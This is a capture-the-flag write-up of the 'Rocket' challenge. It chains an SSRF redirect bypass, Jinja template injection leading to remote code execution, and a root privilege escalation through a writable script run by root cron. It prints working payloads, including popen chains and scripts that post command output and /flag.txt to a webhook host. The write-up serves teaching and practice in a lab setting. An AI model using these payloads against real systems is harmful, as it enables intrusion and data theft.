Rocket - full solve notes
Solved this on Cyber-EDU and wrote everything down while doing it. Chain was: SSRF bypass → internal service pop → SSTI → RCE → root privesc. Kept this page detailed so you can reproduce it end-to-end.
Platform profile: Cyber-EDU user page
- Challenge Information
- Recon on Public Service
- SSRF Bypass to Reach Internal Blog
- Internal Blog Exploitation (SSTI)
- From SSTI to Reliable RCE
- Privilege Escalation to Root
- Flag Extraction
- Security Lessons
1. Challenge Information
Title: Rocket
Description hint: something obvious, likely in a screenshot-oriented flow.
Public target: http://34.40.48.76:31116
The front page was a screenshot API: user gives a URL, app captures and returns an image preview. This pattern is a common SSRF surface.
2. Recon on Public Service
Initial request:
curl -i http://34.40.48.76:31116/
The returned HTML leaked two useful details:
- A blog button points to
http://blog:4000(internal hostname). - An HTML comment says blog vulnerabilities should be fixed before exposure.
That is a giant signal: compromise likely involves the internal blog service.
3. SSRF Bypass to Reach Internal Blog
Direct input like http://127.0.0.1:4000 or http://blog:4000 was blocked by
the screenshot service with Blocked: internal address.
The bypass was to pass validation with an external URL that issues a redirect to internal target. Example:
https://httpbin.org/redirect-to?url=http://127.0.0.1:4000
The app validated only the initial URL, then the headless browser followed redirect and loaded internal blog.
SSRF filter weakness: checking only first-hop destination is insufficient when redirects are allowed.
4. Internal Blog Exploitation (SSTI)
Internal blog was a Flask app with one post and a comment box. Since we only had browser-based access via screenshots, we used a hosted HTML page with JS auto-submit to issue POST requests into internal blog.
<script>
const f = document.createElement('form');
f.method = 'POST';
f.action = 'http://127.0.0.1:4000/';
const i = document.createElement('input');
i.name = 'comment';
i.value = '{{7*7}}';
f.appendChild(i);
document.body.appendChild(f);
f.submit();
</script>
Rendering later showed evaluated result 49, confirming Server-Side Template Injection.
Exfiltrated source confirmed the vulnerable line:
# vulnerable
rendered = render_template_string(comment)
comments.append(rendered)
And comments were output as safe HTML ({{ c|safe }}), enabling stored XSS side effects as well.
5. From SSTI to Reliable RCE
Standard Flask/Jinja object chain worked:
{{ cycler.__init__.__globals__.os.popen("id").read() }}
For robust out-of-band exfiltration, we used Python inside target container and posted results to webhook:
{{ cycler.__init__.__globals__.os.popen(
"python3 -c 'import urllib.request;urllib.request.urlopen(\"https://webhook.site/<token>\", data=b\"PING\")'"
).read() }}
Callback confirmed code execution as user blog.
6. Privilege Escalation to Root
Recon from RCE showed:
/flag.txtexists, owned by root, mode600.- Current user
blogcannot read it directly. - Root cron runs every 10 minutes:
*/10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/app
/etc/logrotate.d/app had a postrotate hook:
postrotate
/usr/local/bin/cleanup.sh
endscript
Crucial misconfiguration: /usr/local/bin/cleanup.sh was writable by blog.
-rwxr-xr-x 1 blog blog 0 ... /usr/local/bin/cleanup.sh
So we replaced it with a root callback payload:
#!/bin/sh
python3 - <<'PY'
import urllib.request, subprocess
out = subprocess.getoutput('id; cat /flag.txt 2>&1')
urllib.request.urlopen('https://webhook.site/<token>', data=('CRON_FLAG\n'+out).encode())
PY
After waiting for next cron window, webhook received:
uid=0(root) gid=0(root) groups=0(root)
ctf{REDACTED_FOR_PUBLIC_WRITEUP}
7. Flag
ctf{REDACTED_FOR_PUBLIC_WRITEUP}
8. Security Lessons
- SSRF protections must validate full redirect chain and final resolved destination.
- Never render user input with
render_template_string. - Never output user-controlled HTML with
|safeunless absolutely trusted and sanitized. - Root cron + writable scripts is a direct privilege escalation vulnerability.
- Defense-in-depth matters: one bug should not unlock full host compromise.
Writeup by mitza (Tudor Mihai Alexandru).
More challenges: Cyber-EDU profile